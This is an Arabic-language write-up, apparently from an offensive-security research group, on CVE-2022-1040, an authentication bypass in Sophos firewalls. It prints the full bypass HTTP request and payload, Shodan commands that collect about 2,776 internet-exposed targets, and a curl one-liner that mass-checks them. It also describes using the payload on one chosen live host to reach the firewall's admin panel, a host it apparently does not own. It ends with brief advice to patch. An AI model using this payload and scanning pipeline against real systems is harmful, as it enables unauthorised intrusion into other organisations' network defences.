
CVE-2022-1040
في مجموعة البحث Toasec، المتخصصة في الأمن السيبراني الهجومي، تولينا مهمة تحليل هذه الثغرة في جدران حماية Sophos.
يمكن الإبلاغ عن هذه الثغرة، مثل كثير غيرها، واكتشافها إذا كنت تعرف البحث في تويتر، حيث لاحظنا أنه منذ شهر مارس بدأت المقالات حول RCE في الظهور.
إذا لاحظنا المستودعات التي تحتوي على POC
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
يمكننا ملاحظة الحمولة (mode=151&json=) التي تتيح لنا تجاوز تسجيل الدخول، كما نلاحظ أيضًا نقطة النهاية webconsole/webpages/login.jsp
الآن ننتقل إلى تحليل الهجمات في Greynoise والتحقق مما إذا كانت تُستغل بنشاط

بمجرد تحديد نقطة النهاية والتحقق من بعض المسارات المستخدمة في الهجمات باستخدام greynoise، يمكننا إنشاء بحثنا في shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)". لقد حددنا أن هذا البحث هو الأكثر احتمالًا، لكن يجب أن نتذكر أن الإصدارات المعرضة للخطر هي Sophos XG115w Firewall 17.0.10 MR-10

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
نبدأ بالتحقق من البيانات
سنقوم بتحليل البيانات إلى صيغة تسمح لنا بأتمتة العملية، ونلاحظ وجود 2776 هدفًا محتملًا
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

الآن يجب علينا تنظيف البيانات وإزالة الفواصل لتسهيل العمل مع onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
يمكننا الآن العمل مع onliner بصيغة أكثر ملاءمة
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

بمجرد التحقق من أهدافنا، أصبح الأمر مجرد اختيار أحدها وإجراء الاختبار بالوصول إلى لوحة تسجيل الدخول

نعترض طلب تسجيل الدخول ونرسله إلى الأداة Responder

نعدّل الطلب بالحمولة ويجب أن نحصل على إعادة توجيه إلى إدارة جدار الحماية

نختبر الوصول إلى المسار index.jsp

لقد تحققنا من أن الثغرة موجودة في الهدف، وبالمثل فهي نشطة في العديد من المضيفين، ومع ذلك فقد لوحظ حتى هذا التاريخ تخفيف واسع النطاق فيما يتعلق بالثغرات الأخرى.
في هذه الحالات، الأهم هو إجراء التحديث وتثبيت التصحيحات الأمنية فور توفرها من جانب الشركات المصنعة.